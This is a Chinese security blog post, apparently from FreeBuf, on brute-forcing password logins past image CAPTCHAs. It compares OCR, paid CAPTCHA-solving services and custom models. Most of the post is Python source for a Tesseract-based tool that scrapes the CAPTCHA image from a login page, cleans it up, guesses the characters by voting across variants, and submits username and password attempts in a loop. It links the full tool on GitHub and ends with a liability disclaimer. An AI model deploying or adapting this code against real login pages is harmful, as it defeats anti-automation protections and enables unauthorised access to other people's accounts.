这两天研究了一下登陆页面验证码爆破的问题,跟大家聊一聊,分享一下收获,先说个人体验,如果没有必须爆破的要求,建议还是找找别的洞,这个东西了解了解就可以了,可以说吃力不讨好。下面分点详细说说。
一、集成验证码识别功能的自动化工具
网上有自动识别验证码的爆破工具吗?有,更准确地说,是集成验证码识别功能的自动化工具。但是,这些工具的效率和成功率,极大地取决于验证码的类型和复杂程度,以及目标网站的反自动化机制。实现方法分为以下几种:
集成 OCR 引擎
通过调用本地安装的 OCR 引擎(如 Tesseract-OCR)来识别下载的验证码图片。但是这种仅对非常简单、无干扰或干扰较少的字母数字组合验证码有效。对于稍微复杂一点的扭曲、模糊、带干扰线、字符重叠的验证码,识别率会迅速下降,导致暴力破解失败。
集成第三方验证码识别平台
这是目前最常见且成功率最高的方式。脚本将从目标网站获取的验证码图片(或 reCAPTCHA token 行为验证系统 的核心输出凭证)发送给第三方打码平台(如 2Captcha, Anti-Captcha, RuCaptcha, DeathByCaptcha 等)。这些平台背后有大量的人工打码员或者 AI 识别模型来识别验证码,并将结果返回给你的工具。而且几乎所有类型的验证码,包括文本型、图片识别型(“选择所有包含汽车的图片”),甚至是一些行为分析型都较为适用。
但是也有缺陷。第一个成本高: 这些服务通常是按识别量或时间收费的,暴力破解往往需要大量的识别次数或者时间,成本会很高。第二个速度慢: 人工打码会有人为延迟,AI 识别虽然快,但仍有网络延迟。对于需要快速响应的场景不够理想。第三个可靠性: 识别率虽高,但仍有出错的可能。
基于机器学习/深度学习的定制模型
这个是针对特定网站的验证码,收集大量验证码图片和对应的答案,训练一个专门的AI模型来识别该网站的验证码。但是开发成本高且通用性差,除非收益极高或者针对某一套使用率很高的系统,否则吃力不讨好。
二、集成 OCR 引擎的脚本工具编写
这个脚本是集成Tesseract-OCR引擎编写的,通过多纠偏、放大、增强、多阈值、反色、去线、去噪、平滑、加粗、微旋转等方式对“同一原图”生成尽可能多的“适合OCR”的候选二值图,争取将识别率提到最高,但是效果不尽如人意。至于集成第三方验证码识别平台的工具,由于在下米不够多,所以就不写了,等我什么时候用到了在研究(感觉用不到)。下面详细说说代码,注释写的挺详细的。
1、解析验证码图片URL,下载验证码图片,OCR识别,规范化还有提交,验证总控制代码
def solve_once(session, login_url, username, password, attempt_id, ocr_opts, delay=0.15):
time.sleep(delay) # 节拍延时:避免高频触发网关/后端限速或验证码竞态
# 打开登录页(GET)
r = session.get(login_url, timeout=10, allow_redirects=True)
if r.status_code >= 400:
return False, r.status_code, "", f"获取登录页失败: {r.status_code}"
# 从登录页HTML中解析验证码图片URL
base = base_url_of(login_url) # http://host/path/
cands = find_captcha_candidates(r.text, base)
if not cands:
return False, r.status_code, "", "未找到验证码URL"
# 逐个URL尝试下载验证码图片
img_bytes = None; sc = None
for cu in cands:
cr = session.get(cu, timeout=10)
sc = cr.status_code
#HTTP200且Content-Type以image开头
if cr.status_code == 200 and cr.headers.get('Content-Type','').startswith('image'):
img_bytes = cr.content
break
if img_bytes is None:
return False, sc or r.status_code, "", "下载验证码失败"
#OCR 识别(内部含预处理/多配置/投票/兜底)
text = recognize_max(
img_bytes,
len_min=ocr_opts.get("len_min", 4),
len_max=ocr_opts.get("len_max", 6),
tess_exe=ocr_opts.get("tess_exe"),
tessdata=ocr_opts.get("tessdata"),
attempt_tag=f"{attempt_id}_{username}",
ocr_level=ocr_opts.get("ocr_level", "balanced"),
ocr_budget=ocr_opts.get("ocr_budget", 1.5),
ocr_timeout=ocr_opts.get("ocr_timeout", 1.0)
)
#规范化验证码:统一小写+按长度截断,降低边界误差
text = (text or "").strip()
text = text[:ocr_opts.get("len_max", 6)].lower()
#提交表单
data = {"username": username, "password": password, "captcha": text}
pr = session.post(login_url, data=data, timeout=10)
code = pr.status_code
#判断结果:根据响应文本
body = pr.text
if "登录成功!" in body:
return True, code, text, "登录成功!"
elif "验证码错误" in body:
return False, code, text, "验证码错误!"
elif "用户名或密码错误" in body:
return False, code, text, "用户名或密码错误!"
else:
snippet = safe_snippet(body, 100)
return False, code, text, f"未知响应: {snippet}..."2、find_captcha_candidates函数
def find_captcha_candidates(html, base):
cands = []
#匹配任何包含“captcha”的 <img src="...">
for m in re.finditer(r'<img[^>]+src=["\']([^"\']*captcha[^"\']*)["\']', html, re.IGNORECASE):
#m.group(1) 是引号内的URL,urljoin把它补成绝对URL
cands.append(urljoin(base, m.group(1)))
#包含captcha.php的链接
for m in re.finditer(r'["\']([^"\']*captcha\.php[^"\']*)["\']', html, re.IGNORECASE):
cands.append(urljoin(base, m.group(1)))
#一些项目不用“captcha”命名,会用verify/code
for m in re.finditer(r'<img[^>]+src=["\']([^"\']*(verify|code)[^"\']*)["\']', html, re.IGNORECASE):
cands.append(urljoin(base, m.group(1)))
#兜底:直接尝试 base+captcha.php
cands.append(urljoin(base, "captcha.php"))
#去重保序
seen=set(); out=[]
for u in cands:
if u not in seen:
out.append(u); seen.add(u)
return out3、多通道、纠偏、放大、增强、多阈值、反色、去线、去噪、平滑、加粗、微旋转
def build_variants(bgr, level="balanced"):
#选择最佳灰度通道+倾斜矫正
gray0 = deskew(best_channel(bgr))
#局部对比度增强
def clahe(x):
c = cv.createCLAHE(clipLimit=2.0, tileGridSize=(8,8))
return c.apply(x)
#微角度旋转
def small_rotate(img, angle):
h, w = img.shape[:2]
M = cv.getRotationMatrix2D((w//2, h//2), angle, 1.0)
return cv.warpAffine(img, M, (w, h), flags=cv.INTER_LINEAR, borderValue=255)
#档位控制:越高越慢
if level == "fast":
scales = (2.5,) #放大倍数:只用 2.5
angles = (0,) #只测 0°
thrs = ("otsu","gauss") #阈值法:Otsu + 自适应高斯
elif level == "balanced":
scales = (2.5, 3.0)
angles = (0, +2, -2)
thrs = ("otsu","gauss")
else:
scales = (2.0, 2.5, 3.0) # 更多放大倍数
angles = (0, +2, -2, +4, -4) # 更多微旋转
thrs = ("otsu","gauss","mean") # 再加自适应均值
variants=[]
for scale in scales:
# 放大+去噪+对比度增强
g = cv.resize(gray0, None, fx=scale, fy=scale, interpolation=cv.INTER_LANCZOS4)
g = cv.medianBlur(g, 3) #中值滤波:去椒盐噪声
g = cv.bilateralFilter(g, 7, 35, 35) #双边滤波:平滑同时保边
g = clahe(g) #局部自适应直方图均衡
for ang in angles:
r = small_rotate(g, ang) #微旋转,覆盖轻微歪斜
#对比度增强
k3 = cv.getStructuringElement(cv.MORPH_RECT, (3,3))
top = cv.morphologyEx(r, cv.MORPH_TOPHAT, k3)
bh = cv.morphologyEx(r, cv.MORPH_BLACKHAT, k3)
enhanced = cv.add(cv.subtract(top, bh), r)
#多阈值法:Otsu/自适应高斯/自适应均值
mats=[]
if "otsu" in thrs:
mats.append(("otsu", cv.threshold(enhanced, 0, 255, cv.THRESH_BINARY+cv.THRESH_OTSU)[1]))
if "gauss" in thrs:
mats.append(("gauss", cv.adaptiveThreshold(enhanced,255,cv.ADAPTIVE_THRESH_GAUSSIAN_C,cv.THRESH_BINARY,31,10)))
if "mean" in thrs:
mats.append(("mean", cv.adaptiveThreshold(enhanced,255,cv.ADAPTIVE_THRESH_MEAN_C, cv.THRESH_BINARY,31, 5)))
for name, bw in mats:
for inv in (False, True):
#反色:有些验证码是“浅色字+深色背景”,反色可让字符更清晰
cur = 255 - bw if inv else bw
#去线:横/竖结构元素做开运算,去掉干扰线
cur = remove_lines(cur)
#去小连通域:把极小的黑色“块”当噪点丢掉
cur = remove_small_components(cur, min_area=round((cur.shape[0]*cur.shape[1])*0.001)+25)
#平滑字符
k2 = cv.getStructuringElement(cv.MORPH_RECT, (2,2))
cur = cv.morphologyEx(cur, cv.MORPH_CLOSE, k2, iterations=1)
cur = cv.morphologyEx(cur, cv.MORPH_OPEN, k2, iterations=1)
#记录一个候选
tag = f"s{scale}_a{ang}_{name}{'_inv' if inv else ''}"
variants.append((tag, cur))
#加粗:适当膨胀,小字体时效果明显
bold = cv.dilate(cur, k2, iterations=1)
variants.append((tag+"_bold", bold))
return variants4、OCR 调用与融合:tesseract_text_and_conf + vote_by_position + recognize_max在时间预算内,尽可能从“多候选图 、多配置”里找出可靠的文本,优先命中长度区间,其次做逐位投票,最后兜底。
(1)带超时的 OCR 调用
def tesseract_text_and_conf(pil_img, cfg, timeout_sec=1.0, lang='eng'):
#image_to_data:返回每个识别块的文本和置信度(confs)
data = pytesseract.image_to_data(
pil_img, lang=lang, config=cfg,
output_type=pytesseract.Output.DICT, timeout=timeout_sec
)
texts = [t for t in data['text'] if t.strip()]
confs = [float(c) for c in data['conf'] if c != '-1']
text = ''.join(texts).strip()
text = re.sub(r'[^0-9A-Za-z]', '', text) #保留字母数字
conf = (sum(confs)/len(confs)) if confs else -1.0
return text, conf(2)逐位投票:把“同长度”的多个候选做按位多数表决
def vote_by_position(cands, target_len):
pool = [s for s in cands if len(s)==target_len]
if not pool:
return ""
out=[]
for i in range(target_len):
#统计第i位出现频率最高的字符
cnt = Counter(s[i] for s in pool)
ch, _ = cnt.most_common(1)[0]
out.append(ch)
return ''.join(out)(3)识别总控 recognize_max(包含“加码一轮”和“兜底”)
def recognize_max(img_bytes, len_min=4, len_max=6,
tess_exe=None, tessdata=None, attempt_tag="",
ocr_level="balanced", ocr_budget=1.5, ocr_timeout=1.0):
#设置 tesseract 路径与数据目录
if tess_exe:
pytesseract.pytesseract.tesseract_cmd = tess_exe
if tessdata:
os.environ["TESSDATA_PREFIX"] = os.path.dirname(tessdata)
whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
def run_pass(level, budget, timeout, pass_tag):
# 生成候选图
bgr = to_bgr(img_bytes)
variants = build_variants(bgr, level=level)
#按档位决定 oem/psm 组合规模
if level == "fast":
oems=(3,); psms=(7,8)
elif level == "balanced":
oems=(3,1); psms=(7,6,8)
else:
oems=(3,1,0); psms=(7,6,8,11,13)
#设置tesseract的参数
cfgs=[]
for oem in oems:
for psm in psms:
base = f'--oem {oem} --psm {psm} -c tessedit_char_whitelist={whitelist}'
if tessdata: base += f' --tessdata-dir "{tessdata}"'
cfgs.append(base)
target_len = (len_min + len_max)//2
start = time.perf_counter()
texts_all=[]; hits_in_range=[]
#整体识别
for tag, bw in variants:
pil = Image.fromarray(bw)
for cfg in cfgs:
t, _ = tesseract_text_and_conf(pil, cfg, timeout_sec=timeout)
if t:
texts_all.append(t)
if len_min <= len(t) <= len_max:
hits_in_range.append(t)
if (time.perf_counter()-start) > budget*0.7: break
if (time.perf_counter()-start) > budget*0.7: break
#分割逐字
for tag, bw in variants[:6]:
rois = split_by_projection(bw)
chars=[]
for r in rois:
pil = Image.fromarray(r)
cfg = f'--oem 3 --psm 10 -c tessedit_char_whitelist={whitelist}'
if tessdata: cfg += f' --tessdata-dir "{tessdata}"'
t,_ = tesseract_text_and_conf(pil, cfg, timeout_sec=timeout)
if t: chars.append(t[0])
if (time.perf_counter()-start) > budget: break
if chars:
txt = ''.join(chars)
texts_all.append(txt)
if len_min <= len(txt) <= len_max:
hits_in_range.append(txt)
if (time.perf_counter()-start) > budget: break
#用命中长度的集合做逐位投票
if hits_in_range:
for L in range(len_min, len_max+1):
v = vote_by_position(hits_in_range, L)
if v: return v
#没命中的话,选一个长度最接近目标的候选
if texts_all:
texts_all.sort(key=lambda s: abs(len(s)-target_len))
return texts_all[0][:len_max]
return ""
#第一轮:按用户设定档位
text = run_pass(ocr_level, ocr_budget, ocr_timeout, "P1")
#若为空:自动加码一轮
if not text:
text = run_pass("max", max(2.5, ocr_budget*2), max(2.0, ocr_timeout*2), "P2")
#再为空:兜底(简单放大+Otsu+psm7)
if not text:
text = fallback_simple(img_bytes, timeout_sec=max(3.5, ocr_timeout*3))
return text详细代码可以去下载工具自己研究研究,工具链接放在下面,使用的时候看看注意事项,要安装依赖和Tesseract-OCR。
github链接:https://github.com/GlimProbe/advanced_bruteforce.git
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)



